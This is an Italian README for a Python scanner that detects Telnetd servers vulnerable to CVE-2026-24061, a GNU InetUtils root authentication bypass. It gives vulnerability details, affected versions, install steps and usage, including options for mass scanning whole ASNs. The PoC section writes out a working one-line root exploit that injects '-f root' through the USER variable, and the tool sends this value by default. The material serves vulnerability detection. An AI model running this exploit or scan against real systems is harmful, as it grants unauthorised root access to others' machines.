🛰️ Twenty-Three Scanner

Uno scanner Potente, Veloce ed Elegante per rilevare servizi Telnetd vulnerabili affetti da CVE-2026-24061. Realizzato con la pura libreria standard di Python - zero dipendenze esterne richieste.

---

🔗 Indice dei Contenuti

• ⚖️ Licenza
• 🧩 Caratteristiche
• ☣️ Dettagli della Vulnerabilità
  • ⚡ Stato del Servizio
  • 🧪 Prova di Concetto (PoC)
  • 💥 Versioni Vulnerabili
  • 🧵 Versioni Corrette
  • ⚔️ Vettore di Attacco
  • 🚨 Punteggio CVSS
• 🛠️ Installazione
• 📜 Utilizzo
• 🎯 Esempi
• ⚗️ Demo
• 📖 Riferimenti

---

🧩 Caratteristiche

• 🚀 Scansione ad Alte Prestazioni – Architettura Multi-Thread con Numero di Thread Configurabile.
• 🌐 Input di Target Flessibile – Supporto per IP Singoli, Range CIDR, Ricerche ASN ed Elenchi Basati su File.
• 📊 Avanzamento in Tempo Reale – Interfaccia Unicode Elegante con Barre di Avanzamento Live.
• 🤖 Intelligence ASN – Recupero Automatico dei Prefissi dalle API RADB, BGPView e HackerTarget.
• 🌍 Intelligence sulla Posizione Geografica – Recupero in Tempo Reale di ASN, Provider e Posizione dall'API ipapi.
• 💾 Interruzione Sicura – Gestione di CTRL+C con Salvataggio Automatico dei Risultati.
• 📝 Registrazione Dettagliata – Livelli di Verbosità Configurabili per il Debugging.
• 🛡️ Scansione Sicura – Limiti Integrati per Prevenire Scansioni Massive Accidentali.
• 🎨 Output Pulito – Tabelle Professionale con Bordi e Riepiloghi di Scansione.
• 📦 Zero Dipendenze – Solo Libreria Standard Python 3.x.

---

☣️ Dettagli della Vulnerabilità

CVE-2026-24061 è una vulnerabilità critica di bypass dell'autenticazione in GNU InetUtils Telnetd che consente a attaccanti remoti non autenticati di ottenere accesso root sfruttando la gestione dell'opzione NEW-ENVIRON.

---

⚡ Stato del Servizio

La seguente è la configurazione del servizio Telnetd sul lato host di destinazione.

---

🧪 Prova di Concetto (PoC)

Ed ecco la Prova di Concetto (PoC) per questa vulnerabilità, che può essere eseguita manualmente dall'host dell'attaccante semplicemente eseguendo il comando USER="-f root" telnet -a <TARGET_HOST> 23.

---

💥 Versioni Vulnerabili

• GNU InetUtils >=1.9.3 <=2.7.
• Varie distribuzioni Linux embedded.
• Dispositivi IoT con implementazioni Telnetd vulnerabili.

---

🧵 Versioni Corrette

• GNU InetUtils >=2.8.

---

⚔️ Vettore di Attacco

La vulnerabilità sfrutta una validazione impropria della variabile d'ambiente USER nella negoziazione dell'opzione telnet NEW-ENVIRON (RFC 1572), consentendo agli attaccanti di iniettare valori dannosi come -f root per bypassare l'autenticazione.

---

🚨 Punteggio CVSS

9.8 (Critico) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

---

🛠️ Installazione

# Clone the Repository
cd /opt
sudo git clone https://github.com/madfxr/Twenty-Three-Scanner.git
cd Twenty-Three-Scanner

# Make Executable
sudo chmod +x twenty-three-scanner.py

# Run the Script
sudo python3 twenty-three-scanner.py -h

---

📜 Utilizzo

Il seguente è un manuale per lo strumento Twenty-Three Scanner che può essere utilizzato per rilevare la vulnerabilità CVE-2026-24061 - GNU InetUtils Telnetd Remote Authentication Bypass.

usage: python3 twenty-three-scanner.py [-h] [-t TARGET] [-f FILE] [-a ASN] [-p PORT] [--threads N] [--user-value VALUE] [--connect-timeout SEC] [--read-timeout SEC] [--id-timeout SEC]
                                       [--max-hosts-per-cidr N] [--max-total-hosts N] [--skip-large-networks] [-o FILE] [-v]

CVE-2026-24061 - GNU InetUtils Telnetd Remote Authentication Bypass

options:
  -h, --help            show this help message and exit

Target Options:
  -t TARGET, --target TARGET
                        target IP, CIDR, or comma-separated list (can be used multiple times)
  -f FILE, --file FILE  file containing targets (one per line, supports comments with #)
  -a ASN, --asn ASN     autonomous system number (e.g., AS10111 or 10111)

Scan Options:
  -p PORT, --port PORT  target port(s), comma-separated (default: 23)
  --threads N           number of concurrent threads (default: 50)
  --user-value VALUE    USER environment variable value for exploit (default: '-f root')